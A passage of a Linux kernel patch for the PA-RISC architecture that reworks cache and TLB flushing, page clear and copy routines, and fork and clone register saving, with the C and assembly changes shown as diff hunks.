-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
-
-#endif
diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index e67eb9c..31835b9 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,9 +1,10 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+
 #ifdef CONFIG_DISCONTIGMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
 struct node_map_data {
@@ -60,7 +61,5 @@ static inline int pfn_valid(int pfn)
 	return 0;
 }
 
-#else /* !CONFIG_DISCONTIGMEM */
-#define MAX_PHYSMEM_RANGES 	1 
 #endif
 #endif /* _PARISC_MMZONE_H */
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 4e0e7db..d9812d8 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..563724d 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -462,10 +468,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/include/asm/real.h b/arch/parisc/include/asm/real.h
deleted file mode 100644
index 82acb25..0000000
--- a/arch/parisc/include/asm/real.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#ifndef _PARISC_REAL_H
-#define _PARISC_REAL_H
-
-
-#endif
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 9d18189..795d392 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -267,9 +267,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -315,7 +317,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -330,17 +332,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -374,20 +365,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -400,11 +380,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -420,6 +415,25 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags, sid;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	sid = mfsp(1);
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	mtsp(sid,1);
+	preempt_enable();
+}
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -459,8 +473,65 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -486,20 +557,34 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -512,3 +597,67 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 07ef351..e15ebf5 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1785,9 +1785,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1817,7 +1817,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1836,8 +1836,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1860,7 +1861,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5d7218a..ed401dd 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr4, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr4, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%arg0)
+	fdce,m		%arg1(%arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
